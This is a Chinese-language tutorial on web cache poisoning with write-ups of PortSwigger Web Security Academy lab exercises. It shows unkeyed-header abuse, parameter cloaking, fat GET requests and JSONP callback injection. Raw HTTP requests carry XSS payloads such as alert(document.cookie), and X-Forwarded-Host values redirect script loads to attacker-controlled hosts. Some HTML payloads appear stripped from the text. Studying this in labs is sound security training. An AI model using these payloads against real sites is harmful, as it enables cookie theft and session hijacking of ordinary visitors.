攻击者利用Web服务器的缓存行为向其他用户提供有害的HTTP响应。Web缓存中毒包括两个阶段。
- 引诱后端服务器响应包含危险荷载数据包
- 该响应成功被缓存,并在一段时间内响应给后续访问者。
缓存位于服务器和用户之间,保存(缓存)对特定请求的响应,设置固定时间。如果另一个用户随后发送了相同的请求,则只是将缓存响应副本直接提供给该用户,而不需要与后端有任何交互。这减少了服务器处理重复请求的数量,极大减轻了服务器的负载。
缓存通过比较预定义的请求组件子集(统称为“缓存键”)来识别等价的请求。
request line
和host
,可由开发定制哪些为键控的GET /data HTTP/1.1 (key)
Host: robust-website.com (key)
...
Origin: https://normal-website.com (unkeyed)
Cookie: JSESSIONID=(unkeyed)
通过向请求添加随机输入并观察它们是否对响应产生影响。与之前响应一致无变化(缓存响应),还是有其他变化(非缓存响应)。
推荐工具:Burp插件 Param Miner
一旦找到一个无键输入,下一步就是准确评估网站是如何处理它的。如果输入在不安全的情况下包含在了服务器的响应中,或者被用于动态生成其他数据,则这是Web缓存中毒的潜在突破点。
是否缓存响应取决于各种因素,例如文件扩展名、内容类型、路由、状态代码和响应头。需要花费一些时间来处理不同页面上的请求,并研究缓存的行为。
一个正常的请求和响应如下
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk
HTTP/1.1 200 OK
Cache-Control: public
X-Forwarded-Host头通常是未键控的。而且本例中可以发现,
X-Forwarded-Host
头的值用于动态生成Open Graph图像URL,然后将其反映在响应中。
回想构造攻击三要素,前两个已满足。
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
HTTP/1.1 200 OK
Cache-Control: public
"/cms/social.png" />
如果此响应被缓存,则访问/en?Region=UK的所有用户都将获得此XSS有效负载。此示例只会在受害者的浏览器中显示警报,但真正的攻击可能会窃取密码并劫持用户帐户。
一些网站使用unkeyed请求头来动态生成用于导入资源的URL,例如外部托管的JavaScript文件。在这种情况下,如果攻击者将值改为他们控制的域,就可以操纵URL指向自己的恶意JavaScript文件。
如果缓存了包含此恶意URL的响应,则攻击者的JavaScript文件将被导入,并在其请求具有匹配缓存键的用户浏览器中执行。
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0
HTTP/1.1 200 OK
例题1
较为少见
例题2
真实情况往往需要更复杂的攻击,只有当攻击者能够手工操作多个unkeyed输入的请求时,才会形成漏洞。
GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http
HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random
例题3
例题4
例题5
例题6
在之前了解了如何通过操作典型的unkeyed输入(如HTTP头和Cookie)来利用Web缓存中毒漏洞。虽然这种方法是有效的,但它只触及了Web缓存中毒的一部分。
在实践中,许多网站和CDN在将键控组件保存在缓存键中时,会对它们执行各种转换。导致缓存键的不一致。这可能包括:
首先确认是否能被缓存,缓存的具体内容(是否含参数等)
下一步是调查在生成缓存键时,缓存是否对输入执行任何其他处理。寻找隐藏在keyed中的额外攻击面。
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 302 Moved Permanently
Location: https://vulnerable-website.com/en
Cache-Status: miss
GET / HTTP/1.1
Host: vulnerable-website.com:1337
HTTP/1.1 302 Moved Permanently
Location: https://vulnerable-website.com:1337/en
Cache-Status: miss
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 302 Moved Permanently
Location: https://vulnerable-website.com:1337/en
Cache-Status: hit
证明端口不包括在key中。重要的是变换port后,最初key中的port仍然传递到应用程序代码中,并反映在响应中。
简而言之,尽管
host
是键控的,但缓存转换它的方式允许我们将有效负载传递到应用程序中,同时仍保留将映射到其他用户请求的“普通”缓存键。这种行为是我们将在本节中讨论的所有漏洞背后的关键概念。
最后一步是确定一个合适的小工具,可以用这个缓存键缺陷来链接它。这是一项重要的技能,因为任何Web缓存中毒攻击的严重性在很大程度上取决于能够利用的小工具。
小工具是缓存中毒攻击与下面一种或多种攻击方式组合而成。
- 反射型、存储型XSS
- 开放重定向
- …
cache buster (缓存粉碎机):定制化的keyed,为了在测试阶段,不影响真实用户。
前文已介绍
以下条目可能全部单独缓存,但在后端被视为等同于GET/:
Apache: GET //
Nginx: GET /%2F
PHP: GET /index.php/xyz
.NET GET /(A(xyz)/
从缓存键中排除查询字符串实际上会让反射型XSS漏洞更加严重。通常,此类攻击依赖于诱使受害者访问恶意的URL。然而,通过无键查询字符串毒化缓存将导致有效负载被提供给访问完全正常的URL的用户。这有可能影响到更多的受害者。
例题7
在一些网站上,整个查询字符串都被排除在缓存键之外。但一些网站只排除与后端应用程序无关的特定查询参数,如用于分析或提供定向广告的参数。
utm_content这样的UTM参数是在测试期间需要检查的很好的候选参数。
例题8
如果缓存从缓存键中排除了无害的参数,并且您找不到基于完整URL的任何可利用的小工具,可以尝试此种方法
发掘缓存和应用程序之间的任何解析差异。这可能允许您将任意参数“隐藏”在排除的参数中,从而将它们隐藏到应用程序逻辑中。
GET /?example=123?excluded_param=bad-stuff-here
高速缓存将标识两个参数并从高速缓存键中排除第二个参数。
但服务器收到的确认整个参数部分,这样就成功地注入了我们的有效负载,而不影响缓存键。
GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here
缓存往往只记录第一个参数,后面的参数不记录。
keyed_param=abc
后端服务器(以Ruby on rails为例)处理时却处理三个参数
- keyed_param=abc
- excluded_param=123
- keyed_param=bad-stuff-here
Ruby on rails遇到相同参数时,会将最后一个参数的值作为最终值。由此缓存与服务器解析产生矛盾。
缓存第一个参数和不相关值,但后端服务器却处理的另外一个值(攻击荷载),这样产生的响应实为受污染的响应。关键是其他用户正常访问的请求能匹配该缓存,导致中毒缓存被当做正常缓存响应。
GET /jsonp?callback=innocentFunction
JSONP相关的网站也类似
例题 9
往往HTTP方法是unkeyed,可尝试在GET方法中,附带request body
GET /?param=innocent HTTP/1.1
…
param=bad-stuff-here
仅在网站接受具有BODY的GET请求时才有可能,但可以通过覆盖HTTP方法来鼓励“FAT GET”处理。
GET /?param=innocent HTTP/1.1
Host: innocent-website.com
X-HTTP-Method-Override: POST
…
param=bad-stuff-here
只要X-HTTP-METHOD-OVERRIDE标头未设置键,您就可以提交伪POST请求,同时保留从请求行派生的GET缓存键。
例题 10
暂略
通长在参数中发现反射的XSS时,通常是不可利用的。这是因为浏览器通常在发送请求时对必要的字符进行URL编码,而服务器不会对它们进行解码。目标受害者收到的响应将只包含无害的URL编码字符串。
但是结合缓存中毒攻击后,允许您利用这些原本“无法利用”的XSS漏洞。因为一些缓存实现将键控输入添加到缓存键时将其标准化。在这种情况下,以下两个请求将具有相同的key:
GET /example?param=">
GET /example?param=%22%3e%3ctest%3e
使用Burp Repeater发送恶意请求,使用未编码的XSS有效负载毒化缓存。当受害者访问恶意URL时,有效负载仍将由其浏览器进行URL编码;但是,一旦URL由缓存标准化,它将具有与包含未编码有效负载的响应相同的缓存键。因此,只需要确保当受害者访问URL时缓存是有毒的,缓存将为有毒响应提供服务,有效负载将在客户端执行。
例题 11
在键控hearder中发现客户端漏洞。是一个典型的“无法利用”的问题,但有时可以使用缓存中毒来利用。
GET /path?param=123 HTTP/1.1
Origin: '-alert(1)-'__
HTTP/1.1 200 OK
X-Cache-Key: /path?param=123__Origin='-alert(1)-'__
请注意X-Cache-Key: /path?param=123__Origin='-alert(1)-'__
路径发生了变化。这就导致了当有用户访问/path?param=123__Origin='-alert(1)-'__
时,会依然返回上述有问题的数据包。
GET /path?param=123__Origin='-alert(1)-'__ HTTP/1.1
HTTP/1.1 200 OK
X-Cache-Key: /path?param=123__Origin='-alert(1)-'__
X-Cache: hit
例题12
之前,我们已经研究了如何利用Web缓存的方式中进行毒化攻击。然而,一些网站除了使用不同的外部组件外,还将缓存行为直接实现到应用程序中。这有几个优点,比如避免了我们前面看到的那种解析差异。
这种情况一般是专门为特定应用程序构建的,所以会以不寻常的方式运行,还可能为一些更具危害性的缓存中毒攻击提供机会。
一般将响应分解为可重用的片段,并分别缓存每个片段。例如,广泛使用的资源的片段可能存储为独立的缓存条目。然后,用户可能会收到一个响应,其中包含来自服务器的混合内容,以及来自高速缓存的几个单独片段。
在这样的场景中,毒化缓存会产生广泛的影响,特别是当您毒化每个页面上都使用的片段时。您可能会影响到每个页面、每个用户。
通常只需要使用基本的Web缓存中毒技术,例如操作header host。
例题13
目标
使用缓存中毒响应触发浏览用户的alert(document.cookie)
解题思路
GET / HTTP/1.1
Host: ac481fce1ed6779ac13d7ed200190006.web-security-academy.net
Cookie: session=F2HAEnicxii7VANIeQabubXu2cHiemdv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Identified parameter on ac481fce1ed6779ac13d7ed200190006.web-security-academy.net: x-forwarded-host
X-Forwarded-Host: exploit-ac421f3f1e8e777bc1427e19012b0010.web-security-academy.net
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=30
Age: 29
X-Cache: hit
Connection: close
Content-Length: 10959
Web cache poisoning with an unkeyed header
src="//exploit-ac421f3f1e8e777bc1427e19012b0010.web-security-academy.net/resources/js/tracking.js"
为攻击机路径
body写入攻击荷载alert(document.cookie)
成功。
使用缓存中毒响应触发浏览用户的alert(1)
fehost=prod-cache-01
,测试该字段发现存在data中。有缓存Cache-Control
GET / HTTP/1.1
Host: acca1f861ed7e040c02202e90037008d.web-security-academy.net
Cookie: session=EkPzw75frBaNFpL3Bdgw6ud7L325EkuK; fehost=prod-cache-01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=30
Age: 15
X-Cache: hit
Connection: close
Content-Length: 10842
"-alert(1)//
GET / HTTP/1.1
Host: acca1f861ed7e040c02202e90037008d.web-security-academy.net
Cookie: session=EkPzw75frBaNFpL3Bdgw6ud7L325EkuK; fehost="-alert(1)//
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=30
Age: 4
X-Cache: hit
Connection: close
Content-Length: 10841
使用缓存中毒响应触发浏览用户的alert(document.cookie)
X-Forwarded-Host
X-Forwarded-scheme
/resources/js/tracking.js
测试这个数据包吧X-Forwarded-scheme
只要部位https,均会触发302 location操作,而location的路径就是X-Forwarded-Host
提供的+/resources/js/tracking.jsGET /resources/js/tracking.js HTTP/1.1
Host: acd51fad1e7ffc7bc0989b4400f400c7.web-security-academy.net
Cookie: session=ncJs9dc5cySPrgxKGuiRFqi3nWdjn9bd
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://acd51fad1e7ffc7bc0989b4400f400c7.web-security-academy.net/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Length: 0
X-Forwarded-Scheme: http
X-Forwarded-Host: exploi
在攻击机中,预留js alert(document.cookie)
HTTP/1.1 302 Found
Location: https://exploit-ac5a1f571e50fcfcc0f59bcf01e90011.web-security-academy.net/resources/js/tracking.js
Cache-Control: max-age=30
Age: 3
X-Cache: hit
Connection: close
Content-Length: 0
使用缓存中毒响应触发浏览用户的alert(document.cookie)
,需要事先获取目标用户特定的User-Agent
,制作特定缓存。
vary
头,x-host为unkeyedvary
发现值是user-agent意味着,缓存会根据不同user-agent区别分发。所以目标用户用哪个浏览器呢。 查看攻击机日志获取目标用户user-agent
使用缓存中毒响应触发浏览用户的alert(document.cookie)
<script>
initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
script>
function initGeoLocate(jsonUrl)
{
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
let geoLocateContent = document.getElementById('shipping-info');
let img = document.createElement("img");
img.setAttribute("src", "/resources/images/localShipping.svg");
geoLocateContent.appendChild(img)
let div = document.createElement("div");
div.innerHTML = 'Free shipping to ' + j.country;
geoLocateContent.appendChild(div)
});
}
响应头增加: Access-Control-Allow-Origin: *
响应体:{"country": ""}
使用缓存中毒响应触发浏览用户的alert(document.cookie)
暂略
使用缓存中毒响应触发浏览用户的alert(1)
GET /?heason=akjsfh12345 HTTP/1.1
Host: ac871fd61f70f10dc0bb196e002b0044.web-security-academy.net
Cookie: session=Y7Lr4qIE0d8UJAWCqlfSekH6gz2z1eRv
akjsfh12345
可尝试构建XSS攻击<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<link rel="canonical" href='//ac871fd61f70f10dc0bb196e002b0044.web-security-academy.net/?heason=akjsfh1234'/>
<title>
......
'/>
使用缓存中毒响应触发浏览用户的alert(1)
utm_content
GET /?utm_content='/> HTTP/1.1
Host: acab1f631ef3e005c03e542f005d00eb.web-security-academy.net
Cookie: session=aJLYDhYy6f4NOu3PeaXnbc43IorKFG43
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=35
Age: 3
X-Cache: hit
Connection: close
Content-Length: 8413
'/>
使用缓存中毒响应触发浏览用户的alert(1)
GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1) HTTP/1.1
Host: acde1fcd1e8c3dcbc06720c900fd001f.web-security-academy.net
使用缓存中毒响应触发浏览用户的alert(1)
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
Host: ac171fad1e55d17cc05f515b0061008e.web-security-academy.net
Cookie: country=[object Object]; session=yXQl2yD4ZmF1GiZIXPA8sUnzHHSDklMK
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac171fad1e55d17cc05f515b0061008e.web-security-academy.net/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Length: 21
callback=alert(1)
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=35
Age: 2
X-Cache: hit
Connection: close
Content-Length: 195
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)
({"country":"United Kingdom"});
找出XSS漏洞,将此链接发给目标用户。
GET /askhjf HTTP/1.1
Host: ac791fb21fee28b1c183869400890024.web-security-academy.net
Cookie: session=sjUDXON0hgj966XKZjLsg12fpTZEfLwm
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=10
Age: 0
X-Cache: miss
Connection: close
Content-Length: 25
Not Found: /askhjf
/
,成功弹窗。GET / HTTP/1.1
Host: ac791fb21fee28b1c183869400890024.web-security-academy.net
Cookie: session=sjUDXON0hgj966XKZjLsg12fpTZEfLwm
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=10
Age: 4
X-Cache: hit
Connection: close
Content-Length: 51
Not Found: /
此处要注意,在浏览器中直接输入这个URL是无法弹窗的,原因是浏览器url-encode。所以在工具中数据路径可以。
生成alert(1),污染缓存。使目标用户已另一个路径访问,仍能触发该缓存
暂略
暂略